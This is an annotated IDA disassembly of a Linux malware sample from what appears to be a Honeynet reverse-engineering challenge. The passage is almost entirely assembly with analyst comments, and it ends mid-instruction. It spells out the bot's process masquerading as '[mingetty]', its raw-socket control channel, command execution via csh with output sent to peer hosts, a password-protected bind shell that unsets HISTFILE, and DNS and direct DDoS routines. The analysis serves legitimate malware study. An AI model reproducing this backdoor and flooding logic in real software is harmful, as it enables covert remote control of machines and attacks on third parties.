; ; 浜様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; This file is generated by The Interactive Disassembler (IDA) ; Copyright (c) 2000 by DataRescue sa/nv, ; Licensed to: Thomas Wright, DVDMods, 1 user, special ; 藩様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; ; File Name : D:\efs\security\honeynet\reverse\ida415int\the-binary ; Format : ELF (Executable) ; model flat ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure code ; Segment permissions: Read/Execute _init segment para public 'CODE' use32 assume cs:_init ;org 8048080h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 atentry_proc proc near ; CODE XREF: start+51p call call_ctors retn 0 atentry_proc endp _init ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 8048090h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame public start start proc near var_C = dword ptr -0Ch pop ecx mov ebx, esp mov eax, esp mov edx, ecx add edx, edx add edx, edx add eax, edx add eax, 4 xor ebp, ebp push ebp push ebp push ebp mov ebp, esp push eax push ebx push ecx mov eax, 88h mov ebx, 0 int 80h ; LINUX - sys_personality mov eax, [esp+14h+var_C] mov dword_806D228, eax movzx eax, word_8078B18 push eax call __setfpucw add esp, 4 call __libc_init push offset atexit_proc call atexit add esp, 4 call atentry_proc call real_start push eax call exit ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 5Bh ; [ db 8Dh ; db 0B4h ; db 26h ; & db 0 ; db 0 ; db 0 ; db 0 ; db 8Dh ; db 0B4h ; db 26h ; & db 0 ; db 0 ; db 0 ; db 0 ; ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8048100: ; CODE XREF: start+77j mov eax, 1 int 80h ; LINUX - sys_exit jmp short loc_8048100 start endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 8 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 call_dtors proc near ; CODE XREF: atexit_procp push ebx mov ebx, offset dtors_address cmp ds:dtors_address, 0 jz short loc_804812C nop loc_8048120: ; CODE XREF: call_dtors+1Aj mov eax, [ebx] call eax add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_8048120 loc_804812C: ; CODE XREF: call_dtors+Dj pop ebx retn call_dtors endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame real_start proc near ; CODE XREF: start+56p random_byte = dword ptr -44F0h var_44EC = dword ptr -44ECh fread_buf_ptr = dword ptr -44E8h peer_ips_ptr = dword ptr -44E4h packet_ptr = dword ptr -44E0h fd = dword ptr -44DCh ip_data_byte2_ptr= dword ptr -44D8h ip_data_ptr = dword ptr -44D4h ip_buf_ptr = dword ptr -44D0h conn = dword ptr -44CCh sock = dword ptr -44C8h remote_addr_len = dword ptr -44C4h optval = dword ptr -44C0h hostname = byte ptr -44BCh shift_from_here = byte ptr -44B3h recvbuf = byte ptr -43BCh remote_addr = byte ptr -11D8h my_addr_family = word ptr -11C8h my_addr_port = word ptr -11C6h my_addr_ip = dword ptr -11C4h peer_ips = byte ptr -11B8h num_of_ipdst = byte ptr -1194h fread_buf = byte ptr -1190h packet_byte0 = byte ptr -1000h control_type = byte ptr -0FFFh packet_byte2 = byte ptr -0FFEh packet_byte3 = byte ptr -0FFDh packet_byte4 = byte ptr -0FFCh packet_byte5 = byte ptr -0FFBh packet_byte6 = byte ptr -0FFAh packet_byte7 = byte ptr -0FF9h packet_byte8 = byte ptr -0FF8h packet_byte9 = byte ptr -0FF7h packet_byte10 = byte ptr -0FF6h packet_byte11 = byte ptr -0FF5h packet_byte12 = byte ptr -0FF4h packet_byte13 = byte ptr -0FF3h packet_byte14 = byte ptr -0FF2h ip_buf = byte ptr -800h ip_tos = byte ptr -7FFh ip_length_A = byte ptr -7FEh ip_length_B = byte ptr -7FDh ip_id = byte ptr -7FCh ip_dst_D = byte ptr -7F0h ip_dst_C = byte ptr -7EFh ip_dst_B = byte ptr -7EEh ip_dst_A = byte ptr -7EDh ip_data = byte ptr -7ECh ip_data_byte2 = byte ptr -7EAh argv0 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 44F0h push edi push esi push ebx mov ebx, [ebp+argv0] mov [ebp+optval], 1 lea edx, [ebp+ip_buf] mov [ebp+ip_buf_ptr], edx lea ecx, [ebp+ip_data] mov [ebp+ip_data_ptr], ecx lea edx, [ebp+ip_data_byte2] mov [ebp+ip_data_byte2_ptr], edx mov [ebp+remote_addr_len], 10h call __libc_geteuid ; are we root? test eax, eax jz short loc_804818C push 0FFFFFFFFh call exit ; not root, exit ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 90h ; ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804818C: ; CODE XREF: real_start+4Ej mov edx, [ebx] xor al, al mov edi, edx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax dec eax push eax push 0 push edx call memset ; clear argv[0] mov edx, [ebx] mov eax, dword ptr ds:aMin ; overwrite argv[0] with "[mingetty]" mov [edx], eax mov eax, dword ptr ds:aGett ; "gett" mov [edx+4], eax mov ax, word ptr ds:aY ; "y]" mov [edx+8], ax mov al, ds:aNullByte mov [edx+0Ah], al push 1 push 11h call signal call fork ; first fork add esp, 14h test eax, eax jz short loc_80481E8 push 0 call exit ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80481E8: ; CODE XREF: real_start+ABj call __libc_setsid push 1 push 11h call signal call fork ; double fork deamonization add esp, 8 test eax, eax jz short loc_804820C push 0 call exit ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh ; db 76h ; v db 0 ; ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804820C: ; CODE XREF: real_start+CCj push offset root_path ; chdir / call __libc_chdir push 0 call __libc_close ; close stdin, stdout and stderr push 1 call __libc_close push 2 call __libc_close mov ds:child_pid, 0 mov ds:shell_pid, 0 mov ds:before_fork, 0 push 0 call __libc_time add esp, 14h push eax call srand ; srand(time(NULL)) add esp, 4 push 0Bh push 3 push 2 call socket ; open a SOCK_RAW socket, type PF_INET, proto 0x0B ? mov [ebp+sock], eax push 1 push 1 call signal ; signal(SIGHUP, SIG_IGN) push 1 push 0Fh call signal ; signal(SIGTERM, SIG_IGN) push 1 push 11h call signal ; signal(SIGCHLD, SIG_IGN) add esp, 24h push 1 push 11h call signal add esp, 8 lea ecx, [ebp+packet_byte0] mov [ebp+packet_ptr], ecx lea edx, [ebp+peer_ips] mov [ebp+peer_ips_ptr], edx nop loc_80482B0: ; CODE XREF: real_start+D91j push 0 push 800h lea eax, [ebp+ip_buf] push eax mov ecx, [ebp+sock] push ecx call recv ; receive from sockraw and put up to 2048 bytes in ip_buf mov esi, eax add esp, 10h mov edx, [ebp+ip_buf_ptr] cmp byte ptr [edx+9], 0Bh ; the ip_proto should be 0x0B jnz usleep_and_loop ; default mov ecx, [ebp+ip_data_ptr] cmp byte ptr [ecx], 2 ; the first byte of the data should be 2 jnz usleep_and_loop ; default cmp esi, 0C8h ; the packet must be > 200 bytes jle usleep_and_loop ; default mov edx, [ebp+packet_ptr] push edx mov ecx, [ebp+ip_data_byte2_ptr] ; address of ip_data2 buffer push ecx lea eax, [esi-16h] ; size of the received packet - 22 push eax call packet_decode add esp, 0Ch movzx eax, [ebp+control_type] dec eax cmp eax, 0Bh ; switch 12 cases ja usleep_and_loop ; default jmp ds:off_804832C[eax*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 off_804832C dd offset loc_804835C ; DATA XREF: real_start+1F1r dd offset loc_80483F0 ; jump table for switch statement dd offset loc_8048590 dd offset loc_804871C dd offset loc_80487C8 dd offset loc_8048894 dd offset loc_8048ACC dd offset loc_8048B58 dd offset loc_8048B80 dd offset loc_8048C34 dd offset loc_8048D08 dd offset loc_8048DE4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804835C: ; CODE XREF: real_start+1F1j ; DATA XREF: real_start+1F8o mov al, ds:crypto_key ; case 0x0 mov [ebp+ip_buf], al mov eax, ds:dword_807E77C mov [ebp+ip_buf], al ; mangle some fields in the ip data mov [ebp+ip_tos], 1 mov [ebp+ip_length_A], 7 cmp ds:child_pid, 0 jz short loc_80483A0 mov [ebp+ip_length_B], 1 mov eax, ds:before_fork mov [ebp+ip_id], al jmp short loc_80483A7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80483A0: ; CODE XREF: real_start+254j mov [ebp+ip_length_B], 0 loc_80483A7: ; CODE XREF: real_start+268j mov edx, [ebp+packet_ptr] ; output push edx lea eax, [ebp+ip_buf] ; input push eax push 190h ; input_size call packet_encode call random mov ecx, 0C9h cdq idiv ecx ; get a random value between 0 and 200 in edx mov ebx, edx lea eax, [ebx+190h] ; add 400 to the random value push eax ; ip_data_size (random, 400 < x < 600) mov edx, [ebp+packet_ptr] push edx ; ip_data mov ecx, [ebp+peer_ips_ptr] push ecx ; ip_dst_ptr call sent_packet_sig3_peers add esp, 18h jmp usleep_and_loop ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80483F0: ; CODE XREF: real_start+1F1j ; DATA XREF: real_start+1F8o movzx edx, [ebp+packet_byte2] ; case 0x1 mov ds:packet_byte2_saved, edx mov al, [ebp+ip_dst_D] mov ds:ouraddr_D, al mov al, [ebp+ip_dst_C] mov ds:ouraddr_C, al mov al, [ebp+ip_dst_B] mov ds:ouraddr_B, al mov al, [ebp+ip_dst_A] mov ds:ouraddr_A, al push 0 call __libc_time add esp, 4 push eax call srand add esp, 4 call random mov ecx, 0Ah ; get a random value from 0 to 9 cdq idiv ecx mov edi, edx ; edi = random value 0 - 9 xor ebx, ebx ; ebx is the counter for the loop xor esi, esi ; offset into peer_ips (ebx*4) nop loop9: ; CODE XREF: real_start+3FEj cmp ebx, edi ; for (ebx=0; ebx < 10; ebx++) jz end_of_loop9 ; if (ebx == random_value) continue; cmp ds:packet_byte2_saved, 2 jnz short packet_byte2_saved_not_2 mov al, [ebp+ebx*4+packet_byte3] ; copy the ip address from the packet to peer_ips[ebx] mov edx, [ebp+peer_ips_ptr] mov [edx+esi], al mov al, [ebp+ebx*4+packet_byte4] mov [esi+edx+1], al mov al, [ebp+ebx*4+packet_byte5] mov [esi+edx+2], al mov al, [ebp+ebx*4+packet_byte6] jmp loc_8048527 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 packet_byte2_saved_not_2: ; CODE XREF: real_start+32Fj call random mov [ebp+random_byte], eax test eax, eax jge short loc_80484B3 lea ecx, [eax+0FFh] ; if eax < 0 mov [ebp+random_byte], ecx loc_80484B3: ; CODE XREF: real_start+371j mov edx, [ebp+peer_ips_ptr] mov [esi+edx], al call random mov [ebp+random_byte], eax test eax, eax jge short loc_80484D7 lea ecx, [eax+0FFh] mov [ebp+random_byte], ecx loc_80484D7: ; CODE XREF: real_start+395j mov edx, [ebp+peer_ips_ptr] mov [esi+edx+1], al call random mov [ebp+random_byte], eax test eax, eax jge short loc_80484FC lea ecx, [eax+0FFh] mov [ebp+random_byte], ecx loc_80484FC: ; CODE XREF: real_start+3BAj mov edx, [ebp+peer_ips_ptr] mov [esi+edx+2], al call random mov [ebp+random_byte], eax test eax, eax jge short loc_8048521 lea ecx, [eax+0FFh] mov [ebp+random_byte], ecx loc_8048521: ; CODE XREF: real_start+3DFj mov edx, [ebp+peer_ips_ptr] loc_8048527: ; CODE XREF: real_start+35Ej mov [esi+edx+3], al ; the last byte of peer_ips[ebx] end_of_loop9: ; CODE XREF: real_start+322j add esi, 4 inc ebx cmp ebx, 9 jle loop9 mov eax, ds:packet_byte2_saved test eax, eax jnz short loc_8048543 xor edi, edi loc_8048543: ; CODE XREF: real_start+40Bj cmp eax, 2 jz usleep_and_loop ; default shl edi, 2 mov [ebp+var_44EC], edi mov al, [ebp+packet_byte3] mov ecx, [ebp+peer_ips_ptr] mov [edi+ecx], al mov al, [ebp+packet_byte4] mov edx, [ebp+var_44EC] mov [edx+ecx+1], al mov al, [ebp+packet_byte5] mov [edx+ecx+2], al mov al, [ebp+packet_byte6] mov [edx+ecx+3], al jmp usleep_and_loop ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8048590: ; CODE XREF: real_start+1F1j ; DATA XREF: real_start+1F8o call fork ; case 0x2 mov ds:shell_pid, eax test eax, eax jnz usleep_and_loop ; default call __libc_setsid push 1 push 11h call signal call fork add esp, 8 test eax, eax jz short loc_80485D8 push 0Ah call sleep push 9 mov eax, ds:shell_pid push eax call __libc_kill push 0 call exit ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 90h ; ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80485D8: ; CODE XREF: real_start+486j xor ebx, ebx lea esi, [esi] loc_80485DC: ; CODE XREF: real_start+4BDj mov al, [ebx+ebp-0FFEh] mov [ebx+ebp-1000h], al ; shift from packet[2] to packet[0] inc ebx cmp ebx, 18Dh jle short loc_80485DC push offset aTmp_hj237349 ; "/tmp/.hj237349" mov ecx, [ebp+packet_ptr] push ecx push offset aBinCshFCS1S21 ; "/bin/csh -f -c \"%s\" 1> %s 2>&1" lea ebx, [ebp+ip_buf] push ebx call sprintf push ebx call system push offset aRb ; "rb" push offset aTmp_hj237349 ; "/tmp/.hj237349" call _IO_fopen mov [ebp+fd], eax add esp, 1Ch test eax, eax jz loc_8048712 xor edi, edi lea edx, [ebp+fread_buf] mov [ebp+fread_buf_ptr], edx loc_8048644: ; CODE XREF: real_start+5BFj mov ecx, [ebp+fd] push ecx push 18Eh push 1 lea eax, [ebp+ip_buf] push eax call _IO_fread mov esi, eax mov byte ptr [esi+ebp-800h], 0 ; ip_buf[esi] xor ebx, ebx add esp, 10h lea esi, [esi+0] loc_8048670: ; CODE XREF: real_start+551j mov al, [ebx+ebp-800h] mov [ebx+ebp-0FFEh], al ; copy from ip_buf to packet[2] inc ebx cmp ebx, 18Dh jle short loc_8048670 test edi, edi jnz short loc_804869C mov [ebp+control_type], 3 mov edi, 1 jmp short loc_80486A3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804869C: ; CODE XREF: real_start+555j mov [ebp+control_type], 4 loc_80486A3: ; CODE XREF: real_start+563j mov edx, [ebp+fread_buf_ptr] push edx mov ecx, [ebp+packet_ptr] push ecx push 190h call packet_encode call random mov ecx, 0C9h cdq idiv ecx mov ebx, edx ; ebx = edx = random value between 0 and 200 lea eax, [ebx+190h] push eax mov edx, [ebp+fread_buf_ptr] push edx mov ecx, [ebp+peer_ips_ptr] push ecx call sent_packet_sig3_peers push 61A80h call usleep add esp, 1Ch test esi, esi jnz loc_8048644 mov edx, [ebp+fd] push edx call _IO_fclose push offset aTmp_hj237349 ; "/tmp/.hj237349" call remove add esp, 8 loc_8048712: ; CODE XREF: real_start+4FCj push 0 call exit_ lea esi, [esi+0] loc_804871C: ; CODE XREF: real_start+1F1j ; DATA XREF: real_start+1F8o cmp ds:child_pid, 0 ; case 0x3 jnz usleep_and_loop ; default mov ds:before_fork, 4 call fork mov ds:child_pid, eax test eax, eax jnz usleep_and_loop ; default lea edi, [ebp+hostname] lea esi, [ebp+packet_byte0] cld mov ecx, 3Fh repe movsd ; copy the packet to hostname movsw movsb xor ebx, ebx lea esi, [esi] loc_8048760: ; CODE XREF: real_start+641j mov al, [ebx+ebp-44B3h] mov [ebx+ebp-44BCh], al ; remove the first 9 bytes of the packet from the hostname inc ebx cmp ebx, 0FEh jle short loc_8048760 lea eax, [ebp+hostname] ; hostname push eax movzx eax, [ebp+packet_byte8] ; resolve_hostname push eax movzx eax, [ebp+packet_byte7] ; port_lo push eax movzx eax, [ebp+packet_byte6] ; port_hi push eax push 0 ; sleep_interval (0 means sleep after every packet) movzx eax, [ebp+packet_byte5] ; ip_addr_A push eax movzx eax, [ebp+packet_byte4] ; ip_addr_B push eax movzx eax, [ebp+packet_byte3] ; ip_addr_C push eax movzx eax, [ebp+packet_byte2] ; ip_addr_D push eax call dns_ddos add esp, 24h push 0 call exit_ nop loc_80487C8: ; CODE XREF: real_start+1F1j ; DATA XREF: real_start+1F8o cmp ds:child_pid, 0 ; case 0x4 jnz usleep_and_loop ; default mov ds:before_fork, 5 call fork mov ds:child_pid, eax test eax, eax jnz usleep_and_loop ; default lea edi, [ebp+hostname] lea esi, [ebp+packet_byte0] cld mov ecx, 3Fh repe movsd movsw movsb xor ebx, ebx lea esi, [esi] loc_804880C: ; CODE XREF: real_start+6EDj mov al, [ebx+ebp-44AFh] mov [ebx+ebp-44BCh], al inc ebx cmp ebx, 0FEh ; shift from packet[13] to packet[0], 254 bytes jle short loc_804880C lea eax, [ebp+hostname] push eax movzx eax, [ebp+packet_byte12] push eax movzx eax, [ebp+packet_byte11] push eax movzx eax, [ebp+packet_byte10] push eax movzx eax, [ebp+packet_byte9] push eax movzx eax, [ebp+packet_byte8] push eax movzx eax, [ebp+packet_byte7] push eax movzx eax, [ebp+packet_byte6] push eax movzx eax, [ebp+packet_byte5] push eax movzx eax, [ebp+packet_byte4] push eax movzx eax, [ebp+packet_byte3] push eax movzx eax, [ebp+packet_byte2] push eax call direct_ddos add esp, 30h push 0 call exit_ lea esi, [esi+0] loc_8048894: ; CODE XREF: real_start+1F1j ; DATA XREF: real_start+1F8o cmp ds:child_pid, 0 ; case 0x5 jnz usleep_and_loop ; default mov ds:before_fork, 6 push 1 push 11h call signal call fork mov ds:child_pid, eax add esp, 8 test eax, eax jnz usleep_and_loop ; default call __libc_setsid push 1 push 11h call signal mov [ebp+my_addr_family], 2 add esp, 8 mov [ebp+my_addr_port], 0F15Ah mov [ebp+my_addr_ip], 0 mov [ebp+optval], 1 push 0 push 1 push 2 call socket ; open a SOCK_STREAM socket, type PF_INET, proto IP mov [ebp+sock], eax push 1 push 11h call signal push 1 push 11h call signal push 1 push 1 call signal add esp, 24h push 1 push 0Fh call signal push 1 push 2 call signal push 4 lea eax, [ebp+optval] push eax push 2 ; SO_REUSEADDR push 1 ; SOL_SOCKET mov ecx, [ebp+sock] push ecx call setsockopt add esp, 24h push 10h lea eax, [ebp+my_addr_family] push eax mov edx, [ebp+sock] push edx call bind push 3 mov ecx, [ebp+sock] push ecx call listen add esp, 14h nop loc_8048984: ; CODE XREF: real_start+882j lea eax, [ebp+remote_addr_len] push eax lea eax, [ebp+remote_addr] push eax mov edx, [ebp+sock] push edx call accept mov [ebp+conn], eax add esp, 0Ch test eax, eax jz loc_8048AC4 call fork test eax, eax jnz short loc_8048984 push 0 push 13h lea eax, [ebp+recvbuf] push eax mov ecx, [ebp+conn] push ecx call recv xor ebx, ebx add esp, 10h loc_80489D4: ; CODE XREF: real_start+8CEj mov al, [ebx+ebp-43BCh] cmp al, 0Ah jz short newline cmp al, 0Dh jnz short loc_80489F0 newline: ; CODE XREF: real_start+8A9j mov byte ptr [ebx+ebp-43BCh], 0 jmp short loc_80489FE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80489F0: ; CODE XREF: real_start+8ADj mov [ebx+ebp-43BCh], al inc byte ptr [ebx+ebp-43BCh] loc_80489FE: ; CODE XREF: real_start+8B7j inc ebx cmp ebx, 12h jle short loc_80489D4 lea esi, [ebp+recvbuf] mov edi, offset aTfojg ; "TfOjG" mov ecx, 6 cld test al, 0 repe cmpsb jz short loc_8048A44 push 0 push 4 push offset wrong_pass mov edx, [ebp+conn] push edx call send mov ecx, [ebp+conn] push ecx call __libc_close push 1 call exit ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 90h ; ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8048A44: ; CODE XREF: real_start+8E5j push 0 mov edx, [ebp+conn] push edx call __libc_dup2 push 1 mov ecx, [ebp+conn] push ecx call __libc_dup2 push 2 mov edx, [ebp+conn] push edx call __libc_dup2 push 1 push offset aSbinBinUsrSbin ; "/sbin:/bin:/usr/sbin:/usr/bin:/usr/loca"... push offset aPath ; "PATH" call setenv add esp, 24h push offset aHistfile ; "HISTFILE" call unsetenv push 1 push offset aLinux ; "linux" push offset aTerm ; "TERM" call setenv push 0 push offset aSh ; "sh" push offset aBinSh ; "/bin/sh" call execl mov ecx, [ebp+conn] push ecx call __libc_close add esp, 20h push 0 call exit ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8048AC4: ; CODE XREF: real_start+875j push 0 call exit ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 90h ; ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8048ACC: ; CODE XREF: real_start+1F1j ; DATA XREF: real_start+1F8o call fork ; case 0x6 mov ds:shell_pid, eax test eax, eax jnz usleep_and_loop ; default call __libc_setsid ; child push 1 push 11h call signal call fork add esp, 8 test eax, eax jz short loc_8048B18 push 4B0h ; still child call sleep push 9 mov eax, ds:shell_pid push eax call __libc_kill push 0 call exit ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh ; db 36h ; 6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8048B18: ; CODE XREF: real_start+9C2j xor ebx, ebx ; grandchild lea esi, [esi] loc_8048B1C: ; CODE XREF: real_start+9FDj mov al, [ebx+ebp-0FFEh] mov [ebx+ebp-1000h], al ; shift from packet[2] to packet[0] inc ebx cmp ebx, 18Dh jle short loc_8048B1C mov edx, [ebp+packet_ptr] push edx push offset aBinCshFCS ; "/bin/csh -f -c \"%s\" " lea ebx, [ebp+ip_buf] push ebx call sprintf push ebx call system ; execute a shell command push 0 call exit_ loc_8048B58: ; CODE XREF: real_start+1F1j ; DATA XREF: real_start+1F8o mov eax, ds:child_pid ; case 0x7 test eax, eax jz usleep_and_loop ; default push 9 push eax call __libc_kill mov ds:child_pid, 0 add esp, 8 jmp usleep_and_loop ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8048B80: ; CODE XREF: real_start+1F1j ; DATA XREF: real_start+1F8o cmp ds:child_pid, 0 ; case 0x8 jnz usleep_and_loop ; default mov ds:before_fork, 9 call fork mov ds:child_pid, eax test eax, eax jnz usleep_and_loop ; default lea edi, [ebp+hostname] lea esi, [ebp+packet_byte0] cld mov ecx, 3Fh repe movsd movsw movsb xor ebx, ebx lea esi, [esi] loc_8048BC4: ; CODE XREF: real_start+AA5j mov al, [ebx+ebp-44B2h] mov [ebx+ebp-44BCh], al inc ebx cmp ebx, 0FEh jle short loc_8048BC4 lea eax, [ebp+hostname] push eax movzx eax, [ebp+packet_byte9] push eax movzx eax, [ebp+packet_byte8] push eax movzx eax, [ebp+packet_byte7] push eax movzx eax, [ebp+packet_byte6] push eax movzx eax, [ebp+packet_byte5] push eax movzx eax, [ebp+packet_byte4] push eax movzx eax, [ebp+packet_byte3] push eax movzx eax, [ebp+packet_byte2] push eax call dns_ddos add esp, 24h push 0 call exit_ lea esi, [esi+0] loc_8048C34: ; CODE XREF: real_start+1F1j ; DATA XREF: real_start+1F8o cmp ds:child_pid, 0 ; case 0x9 jnz usleep_and_loop ; default mov ds:before_fork, 0Ah call fork mov ds:child_pid, eax test eax, eax jnz usleep_and_loop ; default lea edi, [ebp+hostname] lea esi, [ebp+packet_byte0] cld mov ecx, 3Fh repe movsd movsw movsb xor ebx, ebx lea esi, [esi] loc_8048C78: ; CODE XREF: real_start+B59j mov al, [ebx+ebp-44AEh] mov [ebx+ebp-44BCh], al inc ebx cmp ebx, 0FEh jle short loc_8048C78 lea eax, [ebp+hostname] push eax movzx eax, [ebp+packet_byte13] push eax push 0 movzx eax, [ebp+packet_byte12] push eax movzx eax, [ebp+packet_byte11] push eax movzx eax, [ebp+packet_byte10] push eax movzx eax, [ebp+packet_byte9] push eax movzx eax, [ebp+packet_byte8] push eax movzx eax, [ebp+packet_byte7] push eax movzx eax, [ebp+packet_byte6] push eax movzx eax, [ebp+packet_byte5] push eax movzx eax, [ebp+packet_byte4] push eax movzx eax, [ebp+packet_byte3] push eax movzx eax, [ebp+packet_byte2] push eax call sub_8049D40 add esp, 38h push 0 call exit_ nop loc_8048D08: ; CODE XREF: real_start+1F1j ; DATA XREF: real_start+1F8o cmp ds:child_pid, 0 ; case 0xa jnz usleep_and_loop ; default mov ds:before_fork, 0Bh call fork mov ds:child_pid, eax test eax, eax jnz usleep_and_loop ; default lea edi, [ebp+hostname] lea esi, [ebp+packet_byte0] cld mov ecx, 3Fh repe movsd movsw movsb xor ebx, ebx lea esi, [esi] loc_8048D4C: ; CODE XREF: real_start+C2Dj mov al, [ebx+ebp-44ADh] mov [ebx+ebp-44BCh], al inc ebx cmp ebx, 0FEh jle short loc_8048D4C lea eax, [ebp+hostname] push eax movzx eax, [ebp+packet_byte14] push eax movzx eax, [ebp+packet_byte13] push eax movzx eax, [ebp+packet_byte12] push eax movzx eax, [ebp+packet_byte11] push eax movzx eax, [ebp+packet_byte10] push eax movzx eax, [ebp+packet_byte9] push eax movzx eax, [ebp+packet_byte8] push eax movzx eax, [ebp+packet_byte7] push eax movzx eax, [ebp+packet_byte6] push eax movzx eax, [ebp+packet_byte5] push eax movzx eax, [ebp+packet_byte4] push eax movzx eax, [ebp+packet_byte3] push eax movzx eax, [ebp+packet_byte2] push eax call sub_8049D40 add esp, 38h push 0 call exit_ lea esi, [esi+0] loc_8048DE4: ; CODE XREF: real_start+1F1j ; DATA XREF: real_start+1F8o cmp ds:child_pid, 0 ; case 0xb jnz usleep_and_loop ; default mov ds:before_fork, 0Ch call fork mov ds:child_pid, eax test eax, eax jnz usleep_and_loop ; default lea edi, [ebp+hostname] lea esi, [ebp+packet_byte0] cld mov ecx, 3Fh repe movsd movsw movsb xor ebx, ebx lea esi, [esi] loc_8048E28: ; CODE XREF: real_start+D09j mov al, [ebx+ebp-44AEh] mov [ebx+ebp-44BCh], al inc ebx cmp ebx, 0FEh jle short loc_8048E28 lea eax, [ebp+hostname] push eax movzx eax, [ebp+packet_byte13] push eax movzx eax, [ebp+packet_byte12] push eax movzx eax, [ebp+packet_byte11] push eax movzx eax, [ebp+packet_byte10] push eax movzx eax, [ebp+packet_byte9] push eax movzx eax, [ebp+packet_byte8] push eax movzx eax, [ebp+packet_byte7] push eax movzx eax, [ebp+packet_byte6] push eax movzx eax, [ebp+packet_byte5] push eax movzx eax, [ebp+packet_byte4] push eax movzx eax, [ebp+packet_byte3] push eax movzx 